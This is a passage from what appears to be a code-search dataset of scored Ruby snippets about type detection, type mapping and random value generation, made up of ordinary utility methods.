@maxlength = \"#{match[1]},#{match[2]}\"\n @type = :decimal\n elsif (match = @data.fetch(:Type).match(/^enum\\((.+)\\)$/))\n @maxlength = match[1]\n @type = :enum\n elsif (match = @data.fetch(:Type).match(/^(.+)\\((\\d+)\\)/))\n @maxlength = match[2].to_i\n @type = match[1].to_sym\n end\n\n raise \"Still no type from: '#{@data.fetch(:Type)}'\" if @type.to_s.strip.empty?\n end\n\n @type\n end", "title": "" }, { "docid": "d365f3e84680b0b9e5ba6a3b82062b59", "score": "0.5668717", "text": "def fancy_type\n @type\n end", "title": "" }, { "docid": "141187c2f9e88bbf4b7adf31c3417f1f", "score": "0.56603456", "text": "def api_type(type)\n case(type)\n when :string then STRING_TYPE\n when :number then NUM_TYPE\n when :datetime then NUM_TYPE\n when :boolean then BOOLEAN_TYPE\n else raise \"Unknown type: #{type}\"\n end\n end", "title": "" }, { "docid": "5df2337befd53db157724c6ef2eeef2a", "score": "0.56510466", "text": "def compute_type(type_name); end", "title": "" }, { "docid": "14afe0465af63c0c2c88260a696e91a4", "score": "0.56436414", "text": "def generate_number(number_length)\n CARRIAGE_TYPE + '_' + rand(BASE_36**number_length).to_s(BASE_36)\n end", "title": "" }, { "docid": "14afe0465af63c0c2c88260a696e91a4", "score": "0.56436414", "text": "def generate_number(number_length)\n CARRIAGE_TYPE + '_' + rand(BASE_36**number_length).to_s(BASE_36)\n end", "title": "" }, { "docid": "4b769462ff6031383bfbc53f702ef28d", "score": "0.5629211", "text": "def example_value_default\n {\n integer: lambda { rand(1000) + 1 },\n string: lambda { \"random_string_#{('A'..'Z').to_a.shuffle.first(8).join}\" },\n float: lambda { rand(100) + rand(100) * 0.01 },\n boolean: lambda { [true, false].sample },\n datetime: lambda { Time.now.strftime(\"%d-%m-%Y %H:%M:%S\") },\n timestamp: lambda { Time.now.to_i }\n }[data_type]\n end", "title": "" }, { "docid": "ef4e0b809fe2cb42af3be65bb693fec6", "score": "0.56267416", "text": "def type(str, opts)\n not_supported \"additional options for the 'type' method\" unless opts.keys.empty?\n automatically \"type #{str}\"\n end", "title": "" }, { "docid": "5e0cd421a3580549603983c735c06da1", "score": "0.5625986", "text": "def type(value)\n merge(type: value.to_s)\n end", "title": "" }, { "docid": "b0d6a1b4f6c56c854bffa27dcb64613a", "score": "0.5624014", "text": "def type_name\n @type.to_s.gsub(/\\d/, ' \\0').capitalize\n end", "title": "" }, { "docid": "78a6ba17e2cf861b41ecb44b253405f5", "score": "0.5622528", "text": "def type_of(value); end", "title": "" }, { "docid": "cba76ac5f08bffe38aa6ac087268fe4c", "score": "0.56102884", "text": "def most_specific_type(from_magic_type, fallback_type); end", "title": "" }, { "docid": "86e9ed7865538a53de3968625c24a5f1", "score": "0.5601697", "text": "def company_type\n COMPANY_TYPES[rand(COMPANY_TYPES.count - 1)]\n end", "title": "" }, { "docid": "fd5fab5cfe24058cfaf3319d55224b81", "score": "0.55999035", "text": "def type_of_type(value)\n if value.is_a?(Range) || value.is_a?(Array) || value.is_a?(Hash)\n :complex\n else\n :simple\n end\nend", "title": "" }, { "docid": "8a01f5a04d32253b8a54cd73d3c39d2e", "score": "0.5599763", "text": "def mutate_value(value)\n case value\n when Fixnum, Float, Bignum\n value + rand_number\n when String\n rand_string\n when Symbol\n rand_symbol\n when Regexp\n Regexp.new(Regexp.escape(rand_string.gsub(/\\//, '\\\\/')))\n when Range\n rand_range\n when NilClass, FalseClass\n rand_number\n when TrueClass\n false\n else\n nil\n end\n end", "title": "" }, { "docid": "c1a667a7fd038dda89bdcbfbd4d206a7", "score": "0.5592587", "text": "def type_with_compatibility(type)\n return PropertyType::TYPE_STRING if type == 's'\n return PropertyType::TYPE_STRING if type == PARAM_TYPE_STRING_LIST\n return PropertyType::TYPE_INTEGER if type == 'i'\n return PropertyType::TYPE_INTEGER if type == PARAM_TYPE_INTEGER_LIST\n return PropertyType::TYPE_BOOLEAN if type == 'b'\n return PropertyType::TYPE_REGULAR_EXPRESSION if type == 'r'\n return PropertyType::TYPE_STRING if is_set(type)\n\n type\n end", "title": "" }, { "docid": "31f55f0ba1e81b3fe984d2e37f3509c4", "score": "0.55729157", "text": "def type_spec\n node = Type.new(@current_token)\n if @current_token.type == :integer\n eat :integer\n else\n eat :real\n end\n node\n end", "title": "" }, { "docid": "2f9391d120ea2ee2a6c46287b3c65670", "score": "0.55650795", "text": "def type(*) end", "title": "" }, { "docid": "7a864cd655b3117cdd52c3b8325bc57c", "score": "0.5565017", "text": "def type\n :string\n end", "title": "" }, { "docid": "b814fcd8062c028a62328b4c6a668af0", "score": "0.556214", "text": "def one\n string_for(1+Kernel.rand(max))\n end", "title": "" }, { "docid": "258f6c89e166fbfddb1d45af8477a658", "score": "0.55511105", "text": "def detect_type(value)\n if value.blank?\n nil\n elsif value =~ /^\\d+\\.\\d+$/\n :decimal\n elsif value =~ /^\\d{1,10}$/\n :integer\n elsif value =~ /^\\h{8}-\\h{4}-\\h{4}-\\h{4}-\\h{12}$/\n :uuid\n elsif value =~ /^\\d{4}(\\D)\\d{2}\\1\\d{2}$/ && (Date.parse(value) rescue false)\n :date\n elsif (Time.parse(value) rescue false)\n :datetime\n else\n :string\n end\n end", "title": "" }, { "docid": "3d21ddb62ff6d1f5a8f1de3933a0f493", "score": "0.5544904", "text": "def generate_pattern(num, type)\n if num <= 1\n return \"#{num} #{type.singularize}\"\n else\n return \"#{num} #{type}\"\n end\n end", "title": "" }, { "docid": "fe6e7f3809ae3cf19f060d045a7d5a69", "score": "0.55337965", "text": "def fancy_type\n @type\n end", "title": "" }, { "docid": "7d1034b2031c2edd9d8e43e786e6bfcc", "score": "0.5526635", "text": "def create_sample_attribute_type\n FactoryBot.create(:string_sample_attribute_type)\n end", "title": "" }, { "docid": "18f37fd0ee19f9ddb0b81781764698e0", "score": "0.55080336", "text": "def type_for(type)\n case type\n when 'id'\n Valkyrie::Types::ID\n when 'uri'\n Valkyrie::Types::URI\n when 'date_time'\n Valkyrie::Types::DateTime\n else\n \"Valkyrie::Types::#{type.capitalize}\".constantize\n end\n end", "title": "" }, { "docid": "19aa5aa307da48e80ee1875ea25bd111", "score": "0.5507121", "text": "def map_type(type)\n case type.to_s\n when \"DateTime\"\n Time\n when \"Integer\"\n Fixnum\n else \n type\n end\n end", "title": "" }, { "docid": "a3aaede1ab7984e901f6f8190f2c2bb9", "score": "0.54948467", "text": "def humanize_types(type)\n data = {\n 'seq' => 'List of Items',\n 'str' => 'Free Text',\n 'map' => 'A dictionary/map',\n 'float' => 'Decimal Number',\n 'int' => 'Integer Number',\n 'bool' => 'Boolean'\n }\n data[type]\n end", "title": "" }, { "docid": "584a8f364dabfbd28f808ad7752c9e98", "score": "0.549447", "text": "def type_str\n self.class.const_get(:TYPE_STR)\n end", "title": "" }, { "docid": "bba92fe58126381c51b1ae4a8857c2e9", "score": "0.549171", "text": "def default\n case data_type\n when /.*:string/ then \"'Sample #{name} here'\"\n when /.*:int/ then 1\n when /.*:boolean/ then true\n else \"'#{data_type}'\"\n end\n end", "title": "" }, { "docid": "2d376407ab58974ade87891584c87d20", "score": "0.5490183", "text": "def type\n return nil if @type.nil?\n @type.to_s.split('_')[0].to_sym\n end", "title": "" }, { "docid": "f84296ff535caf7c25f71135005220f7", "score": "0.5482877", "text": "def type\n @type || load_and_return(:@type)\n end", "title": "" }, { "docid": "ac53809002f003d8e0baa5d72e82a9e2", "score": "0.54817855", "text": "def type()\n sql = 'SELECT name FROM item_types WHERE id = $1'\n values = [@type_id]\n result = SqlRunner.run(sql, values).first['name']\n return result\n end", "title": "" }, { "docid": "6eb3aacb0b0d05d642e88399815c98ad", "score": "0.54775757", "text": "def type\n @type ||= @attrs['type'] || UNKNOWN\n end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5476793", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5476793", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5476793", "text": "def desired_type; end", "title": "" }, { "docid": "8a292375833dbe46fed02faba2b1a831", "score": "0.5475035", "text": "def new_from_string(type)\n case type\n when /^TYPE\\\\d+/\n # TODO!!!\n else\n # String with name of type\n if TYPES.has_key? type\n @str = type\n @num = TYPES[type]\n else\n raise ArgumentError, \"Unknown type #{type}\"\n end\n end\n end", "title": "" }, { "docid": "578d7f03da3a2f64668abef75e5b391d", "score": "0.546991", "text": "def type\n @type ||= polymorphic? ? \"#{as.to_s}_type\" : nil\n end", "title": "" }, { "docid": "3968f9bf2bb952df6adcc06f19621d98", "score": "0.54692674", "text": "def apply_type_to_scalar(string) #:nodoc:\n return string if string?\n return string.to_i if integer?\n return %w{true 1}.include?(string) ? true : false if boolean?\n return UCB::LDAP.local_datetime_parse(string) if timestamp?\n raise \"unknown type '#{type}' for attribute '#{name}'\"\n end", "title": "" }, { "docid": "251297ec2780418193cb1756092c4293", "score": "0.5468807", "text": "def type\n type_and_length >> 6\n end", "title": "" }, { "docid": "c039495a57469e3266f8bf29c27d3959", "score": "0.5460015", "text": "def python_type(prop)\n prop = Module.const_get(prop).new('') unless prop.is_a?(Api::Type)\n # All ResourceRefs are dicts with properties.\n if prop.is_a? Api::Type::ResourceRef\n return 'str' if prop.resource_ref.virtual\n return 'dict'\n end\n PYTHON_TYPE_FROM_MM_TYPE.fetch(prop.class.to_s, 'str')\n end", "title": "" }, { "docid": "5c998e5607f692aa6996826e8bcef220", "score": "0.5442424", "text": "def random_character\n random_class = Character.const_get(character_classes[rand(character_classes.length)])\n random_class.new\n end", "title": "" }, { "docid": "f060e056908d6698f7e1d4291fa73518", "score": "0.5433216", "text": "def type(type)\n types.each { |t| return t if t.id =~ /^#{Regexp.escape(type)}$/}\n nil\n end", "title": "" }, { "docid": "f060e056908d6698f7e1d4291fa73518", "score": "0.5433216", "text": "def type(type)\n types.each { |t| return t if t.id =~ /^#{Regexp.escape(type)}$/}\n nil\n end", "title": "" }, { "docid": "8a47476cc0cfc1038677298089f3dedf", "score": "0.54295117", "text": "def user_type_from_string(string)\n if string == \"student\"\n return User::STUDENT\n elsif string == \"admin\"\n return User::ADMIN\n else\n raise \"user_type_from_string requires 'student' or 'admin' got: '#{string}'\"\n end\nend", "title": "" }, { "docid": "785fedf73ee6aae5649de462b5cd5a6f", "score": "0.54254735", "text": "def get_type\n @type\n end", "title": "" }, { "docid": "fde8fc185a88b86b158962899fb1265b", "score": "0.54212797", "text": "def gen_string(str_type, length = 10)\n raise ArgumentError, \"str_type: #{str_type} not supported\" unless RFauxFactory::STRING_TYPES.key?(str_type)\n send(RFauxFactory::STRING_TYPES[str_type], length)\n end", "title": "" }, { "docid": "a89ad9c1e4e4dfc7b2c2dd9d8415f234", "score": "0.54203933", "text": "def type=(type_string_or_id)\n @attributes['type'] = TYPES.invert[type_string_or_id] || type_string_or_id\n end", "title": "" }, { "docid": "97012364f110735fe7c7c4bb0f4e6035", "score": "0.5418622", "text": "def nextType\n case @type\n when :simple\n @type = :double\n when :double\n @type = :empty\n end\n end", "title": "" }, { "docid": "f62b466e0fba83bf9b725416e437f40a", "score": "0.5413714", "text": "def type(val=nil)\n @type ||= val\n end", "title": "" }, { "docid": "943c8accaf6efd8cb1aef79519bb5e7b", "score": "0.5408394", "text": "def converted_field_type(type)\n if is_primitive? type then\n case type\n when \"string\"\n \"String\"\n when \"real\"\n \"Double\"\n when \"bool\"\n \"Bool\"\n when \"object\"\n \"Any\"\n when \"talkobject\"\n @prefix+rootclass\n when \"int8\"\n \"Int\"\n when \"uint8\"\n \"Int\"\n when \"int16\"\n \"Int\"\n when \"uint16\"\n \"Int\"\n when \"int32\"\n \"Int\"\n when \"uint32\"\n \"Int\"\n when \"int64\"\n \"Int\"\n when \"uint64\"\n \"Int\"\n end\n else\n @prefix+truncated_name(type)\n end\nend", "title": "" }, { "docid": "12d41918dab686be4fc575ca499cbf4c", "score": "0.5408308", "text": "def random_digit_str( size=1 )\n rand(10 ** size)\n end", "title": "" }, { "docid": "e9dd7f6a1e92e7bf1df89d27b2b0bf39", "score": "0.5407067", "text": "def type_mark \n if check(\"keyword\", \"int\") || check(\"keyword\", \"integer\")\n @type = \"integer\"\n return @type\n elsif check(\"keyword\", \"float\") \n @type = \"float\"\n return @type\n elsif check(\"keyword\", \"bool\") \n @type = \"bool\"\n return @type\n elsif check(\"keyword\", \"string\")\n @type = \"string\"\n return @type\n end\n end", "title": "" }, { "docid": "880100430db886cac7fb376a80a693d6", "score": "0.5404043", "text": "def getCensorType(type)\n\tif(!type)\n\t\treturn :default\n\tend\n\n\tcase type.downcase\n\twhen \"default\"\n\t\treturn :default\n\twhen \"garbled\"\n\t\treturn :garbled\n\twhen \"stars\"\n\t\treturn :stars\n\twhen \"vowels\"\n\t\treturn :vowels\n\twhen \"nonconsonants\"\n\t\treturn :nonconsonants\n\telse\n\t\treturn type\n\tend\nend", "title": "" }, { "docid": "2e19d3f0408794e3355e39a66c1e1a6a", "score": "0.5400111", "text": "def type\n\t\[email protected]\n\tend", "title": "" } ]
577d74eba49e127e9586596c2d5a758a
PUT /user_component_xrefs/1 PUT /user_component_xrefs/1.xml
[ { "docid": "90ebf44e70ce1a9dc1cbe776336d8614", "score": "0.6835093", "text": "def update\n @user_component_xref = UserComponentXref.find(params[:id])\n\n respond_to do |format|\n if @user_component_xref.update_attributes(params[:user_component_xref])\n format.html { redirect_to(@user_component_xref, :notice => 'User component xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_component_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "4a809fbd342692894c909443ad6928bc", "score": "0.6207433", "text": "def destroy\n @user_component_xref = UserComponentXref.find(params[:id])\n @user_component_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_component_xrefs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7b4f7a455820f718d72b7b9e554298a0", "score": "0.6051577", "text": "def create\n @user_component_xref = UserComponentXref.new(params[:user_component_xref])\n\n respond_to do |format|\n if @user_component_xref.save\n format.html { redirect_to(@user_component_xref, :notice => 'User component xref was successfully created.') }\n format.xml { render :xml => @user_component_xref, :status => :created, :location => @user_component_xref }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_component_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8502243c031fec881d949a2bb98e782c", "score": "0.599467", "text": "def index\n @user_component_xrefs = UserComponentXref.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_component_xrefs }\n end\n end", "title": "" }, { "docid": "e2f3f0c53e25118c37409f6c58477db9", "score": "0.5761494", "text": "def update\n @user_track_xref = UserTrackXref.find(params[:id])\n\n respond_to do |format|\n if @user_track_xref.update_attributes(params[:user_track_xref])\n format.html { redirect_to(@user_track_xref, :notice => 'User track xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_track_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91e222f5e4ec3e3bdb488c250d77c6dd", "score": "0.5688726", "text": "def update\n @component = Component.find(params[:component][:id])\n\n respond_to do |format|\n if @component.update_attributes(params[:component])\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "cc35eb4b807e148e39c290f434b23468", "score": "0.5611415", "text": "def show\n @user_component_xref = UserComponentXref.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_component_xref }\n end\n end", "title": "" }, { "docid": "efaad22f512dcfb486cceab26a2790ee", "score": "0.56081706", "text": "def update\n @user_feature_xref = UserFeatureXref.find(params[:id])\n\n respond_to do |format|\n if @user_feature_xref.update_attributes(params[:user_feature_xref])\n format.html { redirect_to(@user_feature_xref, :notice => 'User feature xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_feature_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bad2715af02452635ea06f9ca89ce32e", "score": "0.5587825", "text": "def update\n @user_bug_xref = UserBugXref.find(params[:id])\n\n respond_to do |format|\n if @user_bug_xref.update_attributes(params[:user_bug_xref])\n format.html { redirect_to(@user_bug_xref, :notice => 'User bug xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_bug_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a983971dfd73a59c24e7b5ed55c2efc", "score": "0.55547774", "text": "def update\n @feature = Feature.find(params[:id])\n\n xref = UserFeatureXref.delete_all(\"feature_id=\"[email protected]_s)\n if ! params[:user_ids]\n params[:user_ids] = Array.new\n end\n if ! params[:user_ids].include? params[:feature][:owner_id]\n params[:user_ids] << params[:feature][:owner_id]\n end\n params[:user_ids].each do |ui|\n xref = UserFeatureXref.new\n xref.feature_id = @feature.id\n xref.user_id = ui\n xref.save\n end\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4786a846c060e78186b375669e3d8cef", "score": "0.5551293", "text": "def update_xrefs(file, identifier)\n docxml = Nokogiri::XML(file)\n docxml.xpath(ns(\"//bibitem[not(ancestor::bibitem)]\")).each do |b|\n next unless docid = b&.at(ns(\"./docidentifier[@type = 'repository']\"))&.text\n next unless %r{^current-metanorma-collection/}.match?(docid)\n\n update_bibitem(b, identifier)\n update_anchors(b, docxml, docid)\n end\n docxml.to_xml\nend", "title": "" }, { "docid": "1f04154f610675cab5e1841e512ba8a9", "score": "0.5485358", "text": "def update\n @track = Track.find(params[:id])\n\n xref = UserTrackXref.delete_all(\"track_id=\"[email protected]_s)\n if ! params[:user_ids]\n params[:user_ids] = Array.new\n end\n if ! params[:user_ids].include? params[:track][:owner_id]\n params[:user_ids] << params[:track][:owner_id]\n end\n params[:user_ids].each do |ui|\n xref = UserTrackXref.new\n xref.track_id = @track.id\n xref.user_id = ui\n xref.save\n end\n\n respond_to do |format|\n if @track.update_attributes(params[:track])\n format.html { redirect_to(@track, :notice => 'Track was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @track.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "834ae2c4afe7564721f49bc85b5f59b1", "score": "0.5413228", "text": "def new\n @user_component_xref = UserComponentXref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_component_xref }\n end\n end", "title": "" }, { "docid": "04aa40fed97d590469c05570f5fa6f83", "score": "0.52569634", "text": "def update_indirect_refs_to_docs(docxml, internal_refs)\n internal_refs.each do |schema, ids|\n ids.each do |id, file|\n update_indirect_refs_to_docs1(docxml, schema, id, file)\n end\n end\n end", "title": "" }, { "docid": "83b426e5d294044c38d3c65c49b1a2af", "score": "0.52081645", "text": "def ref_update(user)\n send_as :ref\n from user\n fbml render(:action=>\"/users/profile\",:assigns=>{:user=>user_to_update})\n handle \"a_ref_handle\"\n end", "title": "" }, { "docid": "4c7fc27ac86aa6dd0a9c64f00b000b1b", "score": "0.5171543", "text": "def post_component(opts)\n # Check if posting a new version of an existing component (id present)\n id = opts[:query]['id']\n if id\n component = Workflow.find_by_id(id.to_i)\n unless component && component.component?\n return rest_response(404, :reason => \"Component not found\")\n end\n else # Otherwise, we're creating a new component\n data = LibXML::XML::Parser.string(request.raw_post).parse\n\n # Get the component family\n component_family_uri = parse_element(data, :text, '/workflow/component-family')\n family = resource_from_uri(component_family_uri)\n if family.nil?\n return rest_response(404, :reason => 'Component family not found')\n elsif !family.is_a?(Pack) || !family.component_family?\n return rest_response(400, :reason => \"No valid component family found at #{component_family_uri}\")\n elsif !Authorization.check('edit', family, opts[:user])\n return rest_response(401, :reason => \"You are not authorized to add components to this component family\")\n end\n end\n\n # Create the component or version\n response = workflow_aux('create', opts)\n\n if id # Reload the component to get the latest version\n component = component.reload\n else # If we created a new component, we need to tag it and add it to the family\n # Awful hack to get the newly created component\n component = resource_from_uri(response[:xml].find_first('//workflow')['resource'])\n\n # Add the component to the family\n PackContributableEntry.create(:pack => family, :contributable => component, :user => opts[:user])\n\n # Add the tag\n tag = Tag.find_or_create_by_name('component')\n Tagging.create(:tag => tag, :taggable => component, :user => opts[:user])\n end\n\n rest_get_request(component, opts[:user], { \"id\" => component.id.to_s })\nend", "title": "" }, { "docid": "3d3afc728b142a498b3a6adde3355a46", "score": "0.5111005", "text": "def set_user_x_service\n @user_x_service = UserXService.find(params[:id])\n \n end", "title": "" }, { "docid": "2f3ce9ac7658c9c17d22ec82a58ed613", "score": "0.5107154", "text": "def xrefs; end", "title": "" }, { "docid": "f73e1f451d3eebe2fd3cf3387dbd7fdf", "score": "0.5099304", "text": "def crossref(a, root_foldername, vol, iss, publisher, email, depositor, batchid)\n\tputs \"Creating xml \" + a.suri\n\txml_temp = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\n<doi_batch xmlns=\\\"http://www.crossref.org/schema/4.3.0\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" version=\\\"4.3.0\\\" xsi:schemaLocation=\\\"http://www.crossref.org/schema/4.3.0 http://www.crossref.org/schema/deposit/crossref4.3.0.xsd\\\">\n\t<head>\n\t\t<doi_batch_id>\" + batchid + \"</doi_batch_id>\n\t\t<timestamp>\" + Time.now.strftime(\"%y%m%d%H%M%S\").to_s + \"</timestamp>\n\t\t<depositor>\n\t\t\t<name>\" + depositor + \"</name>\n\t\t\t<email_address>\" + email + \"</email_address>\n\t\t</depositor>\n\t\t<registrant>\" + publisher + \"</registrant>\n\t</head>\"\n\txml_temp = xml_temp + \n\t\"<body>\n\t\t<journal>\n\t\t\t<journal_metadata>\n\t\t\t\t<full_title>\" + a.jtitle + \"</full_title>\n\t\t\t\t<issn media_type=\\\"electronic\\\">\" + a.issn + \"</issn>\n\t\t\t</journal_metadata>\n\t\t\t<journal_issue>\n\t\t\t\t<publication_date media_type=\\\"online\\\">\n\t\t\t\t\t<month>\" + a.month + \"</month>\n\t\t\t\t\t<day>\" + a.day + \"</day>\n\t\t\t\t\t<year>\" + a.year + \"</year>\n\t\t\t\t</publication_date>\n\t\t\t\t<journal_volume>\n\t\t\t\t\t<volume>\" + vol.to_s + \"</volume>\n\t\t\t\t</journal_volume>\n\t\t\t\t<issue>\" + iss.to_s + \"</issue>\n\t\t\t</journal_issue>\n\t\t\t<journal_article publication_type=\\\"full_text\\\">\n\t\t\t\t<titles>\n\t\t\t\t\t<title>\" + a.articletitle + \"</title>\n\t\t\t\t</titles>\n\t\t\t\t<contributors>\"\n\t\t\t\t\tfor j in 0..(a.authors.size-1) do\n\t\t xml_temp = xml_temp + \"<person_name contributor_role=\\\"author\\\">\n\t\t <given-name>\" + a.authors[j].fname + \"</given-name>\n\t\t <surname>\" + a.authors[j].lname + \"</surname>\n\t\t\t\t\t</person_name>\"\n\t\t \tend\n\t\t xml_temp = xml_temp + \n\t\t\t\t\"</contributors>\n\t\t\t\t<publication_date media_type=\\\"online\\\">\n\t\t\t\t\t<month>\" + a.month + \"</month>\n\t\t\t\t\t<day>\" + a.day + \"</day>\n\t\t\t\t\t<year>\" + a.year + \"</year>\n\t\t\t\t</publication_date>\n\t\t\t\t<doi_data>\n\t\t\t\t\t<doi>\" + a.doi + \"</doi>\n\t\t\t\t\t<resource>\" + a.url + \"</resource>\n\t\t\t\t</doi_data>\n\t\t\t</journal_article>\n\t\t</journal>\n\t</body>\n</doi_batch>\"\n\n\t#Writes xml to file in folder\n\tarticle_filename = a.suri.to_s.gsub(\"\\n\", '')\n\tarticle_filepath = root_foldername.gsub(\"\\n\", '')\n\t#Writes to file in folder\n\tFile.open(article_filepath + '/' + article_filename + '.xml' , 'w'){|f| f.write(xml_temp)}\nend", "title": "" }, { "docid": "3db7872b3562391f5b0b1acc565867ac", "score": "0.50081277", "text": "def destroy\n @user_track_xref = UserTrackXref.find(params[:id])\n @user_track_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_track_xrefs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "55deca0d499f62831970f8ef4147a0f1", "score": "0.49748418", "text": "def create\n @user_bug_xref = UserBugXref.new(params[:user_bug_xref])\n\n respond_to do |format|\n if @user_bug_xref.save\n format.html { redirect_to(@user_bug_xref, :notice => 'User bug xref was successfully created.') }\n format.xml { render :xml => @user_bug_xref, :status => :created, :location => @user_bug_xref }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_bug_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f3c10f4a9f56a9eaabedc5eab7112da", "score": "0.4957235", "text": "def add_components file, counter = 1\n build_ref_hash(file) unless Rails.env.match(\"test\")\n components(file).each do |node|\n solr_doc = om_component_from_node(node).to_solr(additional_component_fields(node))\n solr_doc.merge!({Solrizer.solr_name(\"sort\", :sortable, :type => :integer) => counter.to_s})\n solr_doc.merge!(atk_solr_document(solr_doc[Solrizer.solr_name(\"ref\", :stored_sortable)]))\n solr.add solr_doc\n counter = counter + 1\n end\n end", "title": "" }, { "docid": "700bda728359b69e071e496a52609648", "score": "0.49365988", "text": "def destroy\n @user_feature_xref = UserFeatureXref.find(params[:id])\n @user_feature_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_feature_xrefs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ed3f628342311157761666ab01c1f6e1", "score": "0.49322125", "text": "def set_xreflending\n @xreflending = Xreflending.find(params[:id])\n end", "title": "" }, { "docid": "e930be1c1378e0ba52f67ebc3dc64f39", "score": "0.4908834", "text": "def destroy\n @user_bug_xref = UserBugXref.find(params[:id])\n @user_bug_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_bug_xrefs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c16e8da224c52c856a9283b7f7c163e0", "score": "0.4906724", "text": "def update\n @comptype = Comptype.find(params[:comptype][:id])\n\n respond_to do |format|\n if @comptype.update_attributes(params[:comptype])\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "2c8f03a2633f8f9d583c3fe73716aafc", "score": "0.49060607", "text": "def update_xml(xml, value)\r\n xml\r\n end", "title": "" }, { "docid": "e47e8799db64d53656a4c079fd079f3f", "score": "0.4866276", "text": "def update_component_xml(component, modifier_el, opts)\n end", "title": "" }, { "docid": "e47e8799db64d53656a4c079fd079f3f", "score": "0.4866276", "text": "def update_component_xml(component, modifier_el, opts)\n end", "title": "" }, { "docid": "91ad6facbb903c4bb6119eab3027e5b1", "score": "0.4864446", "text": "def index\n @user_track_xrefs = UserTrackXref.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_track_xrefs }\n end\n end", "title": "" }, { "docid": "ed092d1c51f3bcfd0668abb5049522b0", "score": "0.4853057", "text": "def update\n @xaction = Xaction.find(params[:id])\n\n respond_to do |format|\n if @xaction.update_attributes(params[:xaction])\n flash[:notice] = 'Xaction was successfully updated.'\n format.html { redirect_to(@xaction) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2abaea7eb23530e64c3f72049a5c3cb", "score": "0.48518977", "text": "def update_xml(xml, value)\n xml\n end", "title": "" }, { "docid": "1b63b2ea459b9d65a222953955ab170b", "score": "0.48472598", "text": "def create\n @user_track_xref = UserTrackXref.new(params[:user_track_xref])\n\n respond_to do |format|\n if @user_track_xref.save\n format.html { redirect_to(@user_track_xref, :notice => 'User track xref was successfully created.') }\n format.xml { render :xml => @user_track_xref, :status => :created, :location => @user_track_xref }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_track_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad54471b285e5e357d9be959c8ade2d8", "score": "0.4842284", "text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end", "title": "" }, { "docid": "e32eff675848bb511e79d62f87fbfdff", "score": "0.48266056", "text": "def update\n @bug_build_xref = BugBuildXref.find(params[:id])\n\n respond_to do |format|\n if @bug_build_xref.update_attributes(params[:bug_build_xref])\n format.html { redirect_to(@bug_build_xref, :notice => 'Bug build xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bug_build_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a93b47b30c99f8cfddfb04000da0526f", "score": "0.48087114", "text": "def update\n # PS-441 & PS-306 legacy field no longer used\n if params[:node]\n params[:node].delete(:virtual_client_ids) if params[:node][:virtual_client_ids]\n params[:node].delete(:virtual_parent_node_id) if params[:node][:virtual_parent_node_id]\n end\n\n xmloutput = {}\n xmlinfo = [\"\"]\n @node = @object\n\n # If the user is just setting a value related to one of the\n # associated models then params might not include the :node\n # key. Rather than check for and handle that in multiple\n # places below just stick in the key here.\n if !params.include?(:node)\n params[:node] = {}\n end\n\n # If the user didn't specify an operating system id but did specify\n # some operating system data then find or create an operating\n # system based on the info they did specify.\n if !params[:node].include?(:operating_system_id)\n # FIXME: This should 